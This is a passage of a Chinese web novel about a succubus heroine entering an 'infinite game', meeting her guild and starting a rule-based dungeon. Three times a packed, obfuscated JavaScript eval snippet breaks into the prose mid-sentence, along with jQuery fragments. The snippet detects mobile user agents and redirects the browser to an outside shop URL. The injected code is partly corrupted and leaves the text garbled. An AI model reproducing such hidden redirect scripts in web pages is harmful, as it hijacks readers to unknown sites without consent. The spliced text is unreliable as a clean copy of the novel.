最先出声的居然是离秽,她上下打量了几眼这个沉默的中年女人,毫不掩饰自己的惊讶: “我当时杀人的时候,可没特意避开过你。” 芹秀兰抬起头,看了她一眼,又马上低下头去: “对,对不起……” “为什么道歉?” 离秽面露疑惑。 不过她的疑问没有得到回答。 随着通关奖励发放完成,空白的中转站化作一片浓雾,向四周消散。 在中转站消散的前一秒,离秽赶忙给刚刚开启玩家系统的宁汐柔和年蓁蓁发送了入会邀请。 片刻后,她们三人出现在一个朴素的书店里。 “咱们公会,挺有知识气息的。” 年蓁蓁四周看了眼,憋出来一句话。 “老大你回来了!这次的副本好玩吗?下次傀儡师的委托能不能让我去啊?我好想见见玩家榜第一名!” 书店里传来一个爽朗的声音,声音由远至近,最后在一座书山里冒出头来。 那是一个青年,很年轻,长相阳光俊朗,脸上带着一种大学生独有的清澈感。 他手里抱着一堆书,几乎比他的人都高。 在看到宁汐柔的一刻,青年瞬间红了眼圈,手中的书纷纷落在地上。 25. 无限游戏服务器(2) “是你……啊!” 厚重的书脊砸到脚面上,青年脸上久别重逢的伤感表情瞬间破功,他蹲在地上,低下头抱着自己的小腿。 “介绍一下,这是我们公会的后勤,柏景垣,我们叫他小柏。他很擅长收集线索情报,性格有点跳脱,但是大部分时候是靠谱的。” 离秽说着,抬起手扶着额头,好像觉得有点丢脸。 “我、我…呜呜……” 柏景垣举起手来认领离秽的介绍词,金色蓬松的头发随着他的动作一抖一抖的,像只大金毛。 不过是不太聪明的那种。 “你哭什么?” 年蓁蓁忍不住问。 “我,我看到姐姐也在,就知道她也死了,我心里难受。” 大金毛蹲在地上,眼泪大颗大颗地往下掉,落在书背上,一点点洇开。 “姐姐?” 年蓁蓁回头看宁汐柔。 “柏景垣。” 宁汐柔觉得这个名字有些熟悉,盯着他脑袋上金色的发旋儿看了一会,才想起来自己在那里见过这张脸: “哦,是你啊。” 作为魅魔,宁汐柔的记忆力自然远远超过人类。 但是再强的记忆力,也不太会被用来刻意自己的一日三餐。 不过,在人类中,金发青年算是相当美味的佳肴。 宁汐柔走到他面前,伸出手去摸他的头发。 和记忆中一样的好手感,甚至更好了,顺滑柔软,带一点恰到好处的蓬松,搭在她的指节上,和主人一样散发着清爽的香气。 “我还以为你怎么突然没消息了,原来是死了。” 宁汐柔说。 其实也没有什么很特殊的故事。 无非就是宁汐柔某次外出觅食时,在酒吧的后门遇到了被人下药围堵的柏景垣。 一对十几,柏景垣抄起半截拖把,硬生生把一堆小混混都打得哭爹喊娘,灰溜溜跑了。 他用半截拖把杆硬撑着自己,到最后一个小混混跑掉,才终于闭上眼睛,“砰”一声倒在地上。 宁汐柔看了一场酒后小闹剧,觉得有趣,走上去,蹲在了他眼前。 她抬手拨开青年凌乱的刘海,看到了一张颇合胃口的脸,也在他的眼睛里看到了自己的倒影。 然后…… 宁汐柔站起来,跨过他直接走了。 笑话,她才懒得照顾醉鬼,而且还是中了药的醉鬼。 好看的脸到处都是,快餐而已,费什么力气? 和一般结局不同的是,一周之后,宁汐柔在自己公司楼下,看到了这个金发的青年。 他居然记得她,居然能找过来。 有点意思的快餐。 宁汐柔更改了自己的评价。 后面的事情就没什么特殊的了,无非就是元气男大,夏天海滩,精油按摩之类的事情。 阳光小狗的确给她带来不少好玩的回忆,譬如他一些不是太高明但算得上新奇的小手段,一些笨拙但称得上可爱的小心思。 再后来,柏景垣就突然消失了。 宁汐柔没去找过他,她只是转身走入下一场狩猎。 她不为任何人停留,也不在意他人是否驻足。 “我死的可真不是时候。是不是,姐姐?” 柏景垣抽抽鼻子,抬头看着宁汐柔。 为了配合她摸头的动作,个子挺拔的青年双手抱着膝盖,更加挺直起背来。 他自然也是很俊俏的长相。 太阳一般的金发,眼睛大而圆,眸中暗藏精光,仿佛林中奔跑着的少年白虎,天真无邪之下,匍匐着属于狩猎者的利爪。 他鼻梁挺拔,鼻尖微翘,中和了脸上的稚气,让他有种独属于青年人的,即将成熟时又略带青涩的魅力。 宁汐柔当时,就是被这花骨朵即将绽放时露出的一点艳色吸引。 “是呀,我可是很想念你的。” 她说得毫不心虚。 即使刚才面对面重逢的时候她甚至辨认不出柏景垣的脸。 “为了回去见姐姐,我可是很努力的。” 柏景垣笑了,他也不在意宁汐柔说得是真是假,只要她有点哄他的意思,他就十分受用。 一如既往。 看似愚钝的人,才最清楚真心的天平从不公平。 “想要什么奖励?” 宁汐柔把玩着他的头发,漫不经心地问。 前方还有太多未知等待探寻,宁汐柔现在也不是很有心情开发新菜单。 偶尔吃吃回头草,也不错。 “我怕姐姐以为我是觉得自己表现不好才逃跑的,可担心了。” 柏景垣笑着仰起下巴,伸出手勾住宁汐柔的手腕,耳朵有点红: “姐姐,让我再表现一下?” “没有表现不好。” 宁汐柔回忆了一下,拍拍他的脑袋。 虽然是青涩的横冲直撞,但当硬件条件优越时,莽撞也是另一种趣味。 “姐姐……” 柏景垣这下真是红透了耳朵,手指不安分地去勾她的掌心。 “——咳咳咳!” 年蓁蓁看着离秽越来越不善的脸色,超经意大声咳嗽起来。 在她的努力之下,柏景垣身上即将蔓延到整个书店的粉红泡泡终于停止了散发。 “久别重逢,激动,我理解。” 离秽看着柏景垣,挑眉: “但是,先说正事。” “哦,好,老大。” 柏景垣一脸听话地点点头,然后起身,站在了宁汐柔身后。 手指还勾着宁汐柔的小指,时不时低头偷偷笑一下。 …… 离秽翻了个白眼。 她真的受够恋爱脑了。 “挺好,原来你就是那个奇迹姐。下个副本就让小柏和你去吧。他想你想得都要原地蒸发了。” 离秽闭上眼睛,像是放弃了。 “好难听的外号。” 宁汐柔沉默了一瞬,说。 “那你不能怪我们,谁叫他天天在那里‘和姐姐的初遇像奇迹一样’,‘和姐姐第一次约会像奇迹一样’,‘啊姐姐就是宇宙的奇迹吧’……总而言之,我们这里都管他的那个对象叫‘奇迹姐’。哦,现在是你了。” 离秽耸了耸肩,好像也颇为无奈的样子。 如果她不笑的话。 “噗——” 年蓁蓁没忍住笑出声来,然后又马上双手捂住自己的嘴,神色坚毅地看向宁汐柔,宣誓一样: “宁姐!你永远是我的宁姐!” “……说正事。” 宁汐柔甩开柏景垣的手,面色平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14398116|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看向离秽。 “好,说正事。” 离秽点点头,又笑了一声,清了清嗓子: “我和你们简单介绍一下无限游戏服务器吧。” 无限游戏服务器,是整个无限游戏中,除了副本之外,最重要的地方。 副本是NPC的大本营,而服务器就是玩家们的大本营。 玩家们在副本中获得点数和武器、以及其他的资源,在服务器,他们利用这些东西来强化自己,增强自己在下一场副本中的生存能力。 服务器被分割为几个大的区域:玩家大厅、公会中心、格斗场、贸易市场、私人领域和公共领域。 这几个区域空间折叠重合在一起,想要从一个区域到另一个区域,必须支付点数。 玩家大厅,顾名思义就是以玩家为主构建的游戏通知中心。 这里面有副本入口,玩家交流区等等,不过整个玩家大厅中最重要的部分,是玩家排行榜。 和网页游戏中为了鼓励充值而设立的五花八门的榜单不同,无限游戏服务器只设立了三个榜单: 玩家战力榜、公会排行榜、武器等级榜。 “我们现在所在的地方,就是公会中心。公会成立之后,可以支付点数,在这里购买一块空间,方便公会成员进出副本。其实还有很多别的功能,只要肯花点数,什么都能做到。” 离秽直勾勾看向柏景垣: “比如某人把公会内部布置成书店,因为他和初恋的相遇就在那里。” “……诶!” 柏景垣脸色一变,小心翼翼凑近宁汐柔: “姐姐,我、我等下和你解释。” “其他地方呢?” 宁汐柔没搭理他,继续问离秽。 “格斗场这个就不用解释了。贸易市场可以交易一切,玩家与玩家,玩家与系统,都可以。私人领域是玩家用点数向系统购买或者租用的个人空间,很贵,但是安全,只有你自己能进去。” 说到这里,离秽的声音迟疑了一下才继续: “公共领域,是绝大部分新人玩家会在出副本之后自动传送到的地方。之前那里只是一个像主城一样的地方,和现实世界的城市没什么区别。 不过最近……那里不是很太平,你们尽量不要过去,直接来公会就好。你们的私人领域租金会由公会来承担。” “福利真好啊。” 年蓁蓁面露感动。 “[回程]最大的特点,就是福利超群。毕竟,能在服务器站住脚玩家,没几个想回现实世界的。那些想回去的,能力实在是让人看不上。” 离秽说。 “啊,其实我也……” 年蓁蓁有些为难地举手。 “你是她带来的添头,我不管你。差不多就是这些了,你们先回去休整,明天见面,我再和你说下一个副本的事——诶?” 离秽摆摆手,正要把私人领域的钥匙给她们,忽然,她的动作停住了。 宁汐柔几人随着她的视线看过去。 书店前台的电脑屏幕亮起来,上面显示出一行字: ——排行榜更新中—— [武器等级榜] 1.深渊之眼 持有者:宁汐柔 2.斩杀黎明 持有者:离秽 3.…… 26. 无限游戏服务器(3) “看来你拿到了很不错,很不错的隐藏任务。” 离秽看着上面的排名,吹了声口哨。 “啊?你怎么知道?” 年蓁蓁下意识问了句,又马上反应过来自己好像说漏了嘴,抬起双手捂住嘴巴,求助一样看着宁汐柔。 “不用怕,你没说错话。高级武器只有在隐藏任务的奖励里才会出现,这是无限游戏里的常识。” 离秽看着她这副反应,忍俊不禁。 “哦……幸好幸好。” 年蓁蓁拍拍胸口。 说到隐藏任务,她突然想起来自己的那份奖励,连忙打开个人面板,那是点数系统开启后自动出现的。 然后,她眼神呆滞了。 片刻后,年蓁蓁发出一声哀嚎:“不——” 她的个人面板上,智力、体力、耐力、魅力四个属性分别是:6、3、0.5、5。 在叠加上隐藏任务的随机数值十倍奖励之后,版面变成了: 【玩家个人面板·年蓁蓁】 智力:6(比普通人聪明一点) 体力:3(你不适合体力劳动) 耐力:0.5(哈哈哈哈哈哈)×10 魅力:5(中规中矩) 个人技能:八卦小能手 技能效果:快加入八卦大军吧!说不能会有意想不到的发现哦。 …… 年蓁蓁在绝望中愤怒了。 什么意思,这随机的也太正好了吧! 哪怕随个体力呢! 这破奖励和没有有什么区别?! “怎么了?” 宁汐柔问。 玩家个人面板只有自己可见,在宁汐柔几人的视角里,年蓁蓁就是突然眼神呆滞,绝望哀嚎,然后开始怒瞪虚空。 “哈、哈哈,没什么。非酋的绝望罢了。” 年蓁蓁苦笑一声,捂着胸口有气无力地摇摇头,把自己的个人版面设置了全体可见。 连宁汐柔看到上面的那一串“哈哈哈哈哈”,都有点面露不忍了。 “这是你个人空间的钥匙,回去休息吧。” 离秽也沉默了片刻,将手中的一张卡递给年蓁蓁。 “我给你升级了房型。” “谢谢会长!这算是对非酋的怜悯吗?” 年蓁蓁接过来,面露感激。 离秽拍了拍她的肩膀,没说话。 个人空间在交付的一瞬间自动将年蓁蓁作为二级绑定对象,瞬间,年蓁蓁的身影消失在书店中。 离秽一个眼神递过去,柏景垣也点了点头,一脸不舍地轻轻勾了下宁汐柔的手,凑在她耳边: “姐姐,我去给你准备下一个副本的资料。” 说完,他的身影也随之消失了。 书店中只剩下宁汐柔和离秽二人。 “看来是有重要的事要和我说。” 宁汐柔找了个位置坐下了,神色悠闲。 “对。很重要的事。” 离秽拖来一把椅子,在对面坐下。 她身材高大,五官英气硬朗,即使已经不再是副本中的一身重甲,也依然有种高山般的巍峨气质。 “你那把武器,有可能是神器。” 离秽的声音低沉而艰涩。 “你说这个?” 宁汐柔抬起手,在她的掌心,一个指节大小的迷你权杖躺在上面。 尽管尺寸缩小了无数倍,但上面的雕刻细节依然华丽精致,最顶端的红宝石犹如极精粹后的火焰,又如同黑暗中不熄的瞳孔,璀璨幽深。 离秽也从玩家背包里拿出自己的武器。 她的武器一把足有人高的重剑,剑身由某种黑色的金属铸成,重逾千斤。这把重剑没有开刃,剑柄上雕刻着简单的花纹,乍一看,犹如巨蛇缠绕。 哪怕只是放在地上,依然传来一种令人头皮发麻的威慑感。 这就是位列原武器等级榜榜首的重剑,斩杀黎明。 然而,就是这样一把沐浴鲜血,气势迫人的重剑,在宁汐柔手心那只小到像是个饰品的迷你权杖面前,居然瞬间收敛了所有威压,成了一把古朴沉闷的大剑。 明明只是一把剑,居然有股小心翼翼隐藏自己气息的既视感。 “斩杀黎明是我在一个副本里,付出了不可想象的代价,才得到的顶级武器。 在那之前,从没有任何武器能与它相提并论,更不要说超过它了。我曾经问过系统,它是不是已经是武器中,最强大的一个。你知道系统给我的答案是什么吗?” 离秽缓缓说着,有些感慨地抚摸着剑柄,眼神中流露出怀念: “神器之下,无可匹敌。” 宁汐柔看着自己掌心的迷你权杖,开口说: “所以,当它的榜首被抢走了,你就知道,有神器出现了。” “对。我想,不光我知道,所有武器排行榜上的玩家,现在应该都知道这一点了。” 离秽的声音沉下来: “你带着神器,他们会不惜一切地过来抢夺。虽然上个副本只活下来四个人,但不代表你的信息就安全了。那个没有存在感的玩家,不知道在我们没注意到的时候获得了多少信息,也不知道她会不会把这些信息卖掉。” “我猜到了。你的建议是?” 宁汐柔合上手心,感受着掌心传来微弱的刺痛。 “我本来打算让你去刷个新人本,小柏跟着记录数据。但他一个人是护不住你的,我得再找一个人。” 离秽说。 “你不和我一起下副本吗?我以为你这么关心特殊身份卡,必然会事必躬亲呢。” 宁汐柔有点惊讶。 “我不能去。副本对高级玩家的容纳是有限度的,之前我能进你们的新人本,是因为那是一个特殊副本。但我下一个希望你去的副本,并不是那个类型。” 离秽摇头。 “其实我自己的实力,也未必不能应付。” 宁汐柔轻笑。 “纯打架的话,我相信你确实可以。但副本里环境很复杂,你作为新人还有很多东西没有探索明白,反而容易被他们利用规则暗害。所以,你需要一个足够强大的人来帮助你,恰好,我这里还真的有个人选。” 离秽也笑了。 宁汐柔耸了耸肩,没说话。 她一向看不太得上人类,也不觉得人类有资格成为自己的敌人。 但在无限游戏中生存到现在的高级玩家,还能不能算得上是完全的人类,已经不好说了。 她是因为认同了离秽的实力,才选择了和对方成为合作者。 如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407511|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有玩家的实力能够达到和离秽一个水平,那么他们或许也有资格成为她的敌人。 “那你给我找了个保镖?谁?” 宁汐柔问。 “玩家第一名,傀儡师。” 离秽将收银台上的电脑屏幕掰过来,对着宁汐柔,上面显示着的内容已经变成了: [玩家战力榜] 1.傀儡师 2.音乐家 3.疗愈者 …… 7.狂战士 …… 79.柏景垣 —— “你是第几名?这最上面这几个的好像不是人名。” 宁汐柔上下扫了一眼,看向离秽。 “第七名。” 离秽回答: “玩家战力榜显示全服务器前一百名的玩家,前十名会有自己的特殊‘铭牌’,由系统自动生成,就是你看到的这些。” 宁汐柔又从上到下看了一遍,轻轻皱起眉来。 她居然没有在这里面看到自己的名字。 什么意思,她在这游戏里连前一百名都排不上? 平生第一次,宁汐柔感到这种奇异的情绪。 有点像是忿忿不平,又有点像是好胜心。 很新奇,她不讨厌。 “奇怪,你的能力不应该不在这上面啊。” 离秽也发现了宁汐柔不在榜单上这件事,神色疑惑。 宁汐柔作为初入无限游戏的新人,点数系统都没开启的情况下,赤手空拳和拿着武器的离秽战斗,几乎可以做到不落下风。 这样的战斗力不可能不在前十。 “算了,现在不是说这个的时间。” 宁汐柔摇摇头,收回视线,又问离秽: “你说自己是因为实力太强没法进入副本,才让傀儡师来跟着我下副本。但你是榜七,他是榜一,你进不去的副本,他怎么能进去?” “如果用正常方式登入,他当然也进不去。但是那个副本并不是一个未开启副本,他是在新人期进入那个副本的。直到现在,那个副本也没有结束。” 离秽的语气凝重。 新人期进入了副本,直到现在也没有结束? 那他是怎么在不出副本的情况下成为了玩家榜第一名? 又为什么他都已经成了玩家榜第一名,也还是无法离开那个副本? “难道他就是你和我说的那个人?” 宁汐柔的语气也认真起来。 “对,他就是我之前和你说的,我认识的另一个特殊身份卡玩家。” 离秽点头: “你的下一个副本,你也可以理解为是他的一个委托。他知道你也是特殊身份卡玩家,而且是成功通关了的那唯一一个。 他希望你进入副本,通关游戏,帮助他离开。作为回报,你可以提出任何要求。” 宁汐柔没有去问傀儡师一直被困在副本当中,怎么会知道自己的身份和信息、 如果玩家榜榜一连这点事情都做不到,他也不可能爬上榜一。 “任何要求?” 宁汐柔点了点下巴,点头: “好,我答应。那个副本叫什么?” 离秽看着她,递过去一个小小的木质人偶。 “海村往事。” 27. 海村往事(1) 【玩家个人面板·宁汐柔】 智力:***(数据无法显示) 体力:***(数据无法显示) 耐力:***(数据无法显示) 魅力:***(数据无法显示) 个人技能:***(待激活1/7) 技能效果:前进,战斗,吞噬一切,这是你的宿命。 【系统提示】 恭喜您战力总值爆表! 您已达成特殊成就:***不可描述的女人*** 成就效果冷却时间:72小时 和离秽的谈话结束,进入了个人空间,宁汐柔打开了自己的玩家面板。 随后又面无表情地关上了。 什么玩意儿。 宁汐柔垂下眼,看着自己手中的木质人偶。 人偶大概只有她的小臂长,不知道用的是什么木材,通体白净,一丝裂纹瑕疵也没有,周身泛着润盈的光泽。 如果不是手中传来的,的的确确是木头的质感,宁汐柔甚至会以为这是一块玉。 人偶是一个Q版男孩的形象,刻画得很生动,连发丝都没有半点僵硬之感。 五官精致小巧,低垂眉眼,神色看上去颇为冷淡,但他五短的小身材又中和了这种冷漠感,反而有种小孩故作成熟的可爱。 这就是傀儡师给出的,可以用来中途加入副本的道具? “滴滴滴——” “您有一个访客申请” “申请人:柏景垣” 眼前又弹出一块光幕,像是猫眼镜头一样,显示出柏景垣的脸。 他发送了访客申请? 宁汐柔有点惊讶。 柏景垣一向看上去风风火火,做事不过脑子,但其实相当知情识趣,也知道自己不该跨过的界限在哪里。 从前来往的时候,他总是絮絮叨叨把自己的事情说个底掉,却半点不会打听宁汐柔的私事;出去约会时,他会有时候会约在自己家,但从来都知道不往宁汐柔的私人空间里凑。 其实宁汐柔不在意那些,她没有人类非常在意的,所谓“隐私”的概念。 无论是私事,还是个人空间,她没有对那些东西产生情感链接,也就不会产生占有欲,或者不想被人窥探的本能。 但她觉得柏景垣那副像是小狗一样,在撒欢时候还要小心不让尾巴碰倒其他东西的样子,实在很好玩。 所以,她从来也没有主动解释过。 宁汐柔从回忆里抽身,同意了柏景垣的访客申请。 下一秒,金发小狗出现在了宁汐柔的个人空间里。 “姐姐,这个是下一个副本的资料!” 柏景垣将手里的文件夹递给宁汐柔。 他的声音爽朗轻快,总是精力充沛的样子。 离秽还是相当大方的,她给宁汐柔的这个空间,差不多是一间两百平米的大平层。 和年蓁蓁收到的,由公会承担租金,免费提供给成员居住的空间不同,这个空间是一份礼物,它所有权和支配权,都完全属于宁汐柔。 在转交空间所有权的时候,离秽特意强调了一下价格。 毕竟,她就是为了展示自己的诚意才出手阔绰,如果收礼的人不知道礼物的价值,意义何在呢? 宁汐柔记得,离秽当时的原话是: “不贵,也就等于你下两百个新人副本吧。” 宽敞的个人空间里此刻什么都没有,几乎和宁汐柔刚离开副本时进入的空白中转站一个样子。 不知道是贴心还是懒得布置,总之离秽送了她一套毛坯房。 “我就知道,老大的粗线条是想不到要装修的。姐姐你呢,估计也懒得自己装修。要是我不来,你不会就打算这么住着了吧?” 柏景垣四周看了看她的个人空间,叹了口气,又在自己的面板上点了几下。 随即,宁汐柔收到一个新的申请: [玩家柏景垣申请共创您的个人空间,权限时长:30分钟] [同意:是/否] 她点了是。 听见系统提示音的时候,柏景垣眼睛一亮,小小欢呼了一声: “姐姐不问问我要做什么,就直接同意了,这么信任我啊?” 他当然知道宁汐柔的同意是因为不在意。 但是他更知道,有糖的时候自己要主动吃,她是不会亲手喂他的。 “当然了。” 宁汐柔拿起文件,顺口回答他。 柏景垣笑着,一弹指,一张浅黄色的懒人沙发出现在地上。 “姐姐先坐着看,我把这里布置一下,你等下好休息!” 他扶着宁汐柔的手臂让她坐下,自己在空间的四周走了一圈,默默思考半响,然后点开家居商城,开始手速飞快地戳起了空气。 随着他账户上的点数余额飞快消失,原本宁汐柔一片空白的个人空间也开始有了颜色。 地板、墙纸、灯具…… 床、沙发、电视、茶几…… 酒柜、吧台、书房、衣帽间…… 宁汐柔没理会,随他捣鼓,自己专心看向手中的资料。 资料内容简短,但要点清晰,逻辑明确,能看得出是下了功夫的。 离秽说的没错,柏景垣在后勤这个职位上,确实相当靠谱。 【海村往事】 【评级:S+】 【开启时长:≥10年】 【背景:东方文化背景,海边渔村】 【要点:规则类副本】 【副本主线任务:未知】 【通关率:0%】 【死亡率:99%】 【现存玩家:傀儡师】 【玩家状态:存活(?)】 接下来就是一些柏景垣个人对于这个副本的分析和推测,以及相关规则类副本的解法参考。宁汐柔简单看了一遍,大致了解了一下规则类副本到底是什么。 “你也和我一起吗?离秽说这个副本很危险。” 宁汐柔问。 “就是因为危险,所以我才一定要和你一起去啊?规则类副本最麻烦了,好多隐藏规则都要用玩家的命去试的。” 柏景垣一边说着,一边在衣帽间隔壁又建了个武器储藏室,此刻正在纠结着墙面的配色。 “我要是去了,你最后碰见什么拿不准的规则,不就又多一条命去试吗!” 他终于决定了墙面的颜色,心情很不错地拍拍手,转头看着宁汐柔,有点得意: “看!姐姐有什么想改的,随时和我说!” 宁汐柔这时也正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418882|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看完了手里的资料,抬起头看了一圈,神色有些惊讶: “不用,我觉得都很不错。你这些都是用自己的点数买的?” 离秽之前提到过,在无限游戏服务器里,一切都需要用点数购买,家居用品这些应该也不例外。 “嗯!不多,也就等于大概一百个新人副本吧?” 柏景垣笑。 他当然不指着宁汐柔回报他,但是送礼的时候,要确保对方知道价格。 这件事还是他教给离秽的。 “谢谢,我挺喜欢的。” 宁汐柔一向不讨厌他的小心思,对着他招招手。 柏景垣知道这个动作的意思,快乐地小跑过去,在宁汐柔面前蹲下。 “姐姐喜欢就好!我本来还准备了别的,不过明天就要进副本了,还是下次出来再给姐姐看吧。” “什么?” 宁汐柔问。 “小狗尾巴!这个游戏里的兽人套装可真实了,比咱们之前那套好多了。” 柏景垣兴致勃勃地说着,又遗憾地叹了口气: “该死的傀儡师,他都在那里边困了十年了,再等两天怎么了!偏偏这么着急,让我们明天一早就进副本。” “套装……能带进副本吗?” 宁汐柔问。 “哦哦,能的啊。本来就是个战斗道具来的。” 柏景垣眼睛一亮: “副本里,嘿嘿……那我带上!” 次日,宁汐柔把眼泪汪汪的年蓁蓁留在了公会,她一手拿着小人偶,一手牵着柏景垣,进入了副本。 ——!!! 在空间变换的瞬间,宁汐柔感到眼前一阵剧痛,似乎有一只手抓住了她的眼球,然后用力将它们从她的眼眶中扯了出来! 甚至比圣酒侵蚀还要可怕的剧痛袭来,犹如沼泽将她吞没。 污泥中散发着浓烈的铁锈味道,她耳边听见无数或绝望或愤怒的哀嚎声,围绕着她撕扯,试图撕咬下她的血肉。 宁汐柔奋力挣扎,用所有的魔力向前拉扯自己的身体,终于从那苦痛浇灌出的沼泽中爬出来。 后背已经被冷汗浸透,眼角的神经依然在痛觉中抽搐,她大口喘着气,想要睁开眼,却发现自己从未闭上眼。 但她的眼前,一片漆黑。 [规则一:你是海村的巫女] [规则二:所有人都知道,巫女天生目盲] 眼前的一片漆黑中,两行红色的文字缓缓浮现,犹如用鲜血写就,然后,那一幕红色缓缓扩大,占据了她整个视野,又被黑暗再次吞噬。 “巫女大人,巫女大人?” 耳边传来一个陌生的声音,她只能听出来,这声音属于一个年轻的女人。 “大人,是不是风太大了?” 女人一边说着,一边踮起脚为宁汐柔披上一件衣服。 宁汐柔这时候才有时间去摸索自己所在的位置。 她是坐着的,在一把竹子制成的轿子上,是一把不大的小轿子,做工粗糙,最多也就是两人抬。 她又抬手去摸女人披在自己身上的衣服,那质感很奇怪。 滑而柔软,很薄,有着一种浓烈的香味,摸上去的手感不像是任何一种衣服的材质,反而像是…… 人皮。 28. 海村往事(2) 人皮衣。 宁汐柔抬手摸上那件衣服的领口,确认了这个事实。 视觉是五感中最重要的部分,其他感官再灵敏,也无法替代它的重要性。 宁汐柔可以听清身边走过的每个脚步声,闻出风中吹过的各种气息,也可以用指尖摸索出自己所做的轿子是什么材质。 但没有视觉,她依然无法对自己如今所处的环境做出判断。 她下意识抬手去摸自己的眼眶,眼球的触感还在,眼周神经的疼痛也没有散去。 这份疼痛居然让她感到了一点安心。 [规则一:你是海村的巫女] 宁汐柔回想起这行血字。 看来,她的视力正是因为这个规则,才被封闭。 或者,那个让她不愿意深入思考的可能性: 剥夺。 之前柏景垣说过,“海村往事”是个规则类副本。 宁汐柔对这个概念不是很了解,还是依靠着资料上的讲解才大致搞清楚这个概念。 无限游戏中有许多种副本类型,宁汐柔之前经历过的新人副本,是一个常规副本,也可归类为故事类副本中的基础型。 这类型的副本里,有明确的世界观设定,也有着相对清晰的故事发展方向,在进入副本后,玩家们会拿到有个人背景故事和身份设定的身份卡。 玩家们需要完成的主线任务,随机触发的支线任务,都和副本中的故事发展有着非常密切的关系。 规则类副本往往也属于故事类副本,在副本世界观、副本故事发展和玩家身份卡这三个方面,与常规副本是一致的。 但它是进阶级的故事类副本。 这个进阶的地方,就在于“规则”的存在。 在规则类副本中,玩家需要自行探索,找到并且总结副本中的“规则”。 这些规则可能是副本的背景设定,可能是隐藏的人物设定,也可能是玩家的行动禁忌,总而言之,规则包罗万象。 它们也许是引领向线索的指路灯,也可能是触之必死的催命符。 根据柏景垣的资料显示,这些隐藏规则只有在玩家成功触发相关线索,或者做出了与规则相悖的行动之后,才会显示在玩家的游戏面板上。 有些副本中,所有玩家触发的规则是共享的,有些副本中规则由是玩家个人持有。 宁汐柔想起自己触发的那个“规则一”,轻轻叹了口气。 傀儡师在这个副本里被困了十年,不可能一条规则也没触发天天睡大觉。 看来“海村往事”的规则显示方式,是资料中的后者。 这可不是个好消息。 玩家共享规则的模式下,所有的规则相当于经过了系统认证,不管是好是坏,至少它们是真的。 但玩家个人持有规则时,玩家如果想要了解其他规则,就必须通过他人之口。 但这些没有经过本人触发的规则,并不会显示在他们的游戏面板上。 沟通是谎言的基础。 谎言编制出陷阱,用猎物的性命来当做自己下一次尝试的筹码。 在这样的副本里,合作和信任,被放在了过于昂贵的天平上。 甚至是宁汐柔也会陷入对其他玩家的怀疑。 她无声地叹了口气。 在第一个副本中,她之所以敢于信任伊卡瑞斯和西维,敢于和离秽合作,能够判断出男玩家的选择,是因为她可以看见。 她是魅魔,她以欲执为食, 她看得见欲望的颜色。 可是如今…… 宁汐柔向四周“看”去,身边明明人声鼎沸,她眼中却依然是一片漆黑。 她看不见那些燃烧着的欲执之火,更无从分辨他们的颜色。 在规则之下,她真正失去了“视力”。 “巫女大人。” 耳边再次传来一个年轻的声音,这次是她熟悉的。 爽朗轻快,像小太阳。 是柏景垣。 但此刻太阳似乎黯淡了些,他的声音中带着几不可闻的颤抖,不知是不是因为他发现了宁汐柔此刻的全盲状态。 “巫女大人,祭台到了。” 看来他的身份是轿夫。 竹子制成的轿子被小心地放在地上,宁汐柔扶着刚才给自己披上衣服的年轻女子的手,缓缓从轿子上下来。 虽然才刚刚失去视觉,但宁汐柔的适应能力远超人类,不至于显露出自己对“在黑暗中行动”这件事情的生涩和不熟练。 在侍女的搀扶下,她一步步走上台阶,踏上了祭台。 十九步,这个祭台至少有两到三米高。 “巫女大人。” 一个苍老的声音在她身前由高至低,应该是向她行礼,是跪礼。 失去视觉的麻烦在这一刻又一次体现出来,原本可以直观获得的信息现在只能通过其他侧面来推断。 宁汐柔不自觉皱起眉头。 “请大人不必忧虑,三日后祭典上的一应所需,已经全部准备好了,只差最后的一件祭品,需要您来决定。” 苍老的声音又说。 看来他把宁汐柔的皱眉理解成了对于“三日后祭典”的担忧。 祭典,祭品,这是个重要信息,宁汐柔在心里默默记下。 还有这个表述,最后一件祭品。 既然有最后一件,那么就必然有前面的祭品,或者祭品们。 他们要奉上什么,又要将这一切献祭给什么存在? 宁汐柔没说话,只是抬起下巴,面无表情地站在原地。 她根本就听不懂苍老声音在说什么,但是没有关系,这并不是什么很难应付的事情。 据离秽所说,特殊身份卡是与玩家本人绑定的,拿着特殊身份卡的玩家,会在进入的所有副本中,都得到一个“极其中心”的身份。 进入“海村往事”之后,宁汐柔的确很快知道了自己的身份: 巫女。 在一个明显科技不发达,文明化程度低到会用人皮做衣服,同时信仰氛围浓厚到足以建起一个两米祭台的海边村落来说,这个身份必然是重要、甚至崇高的。 宁汐柔计算着时间,默默等待着。 [叮咚——] 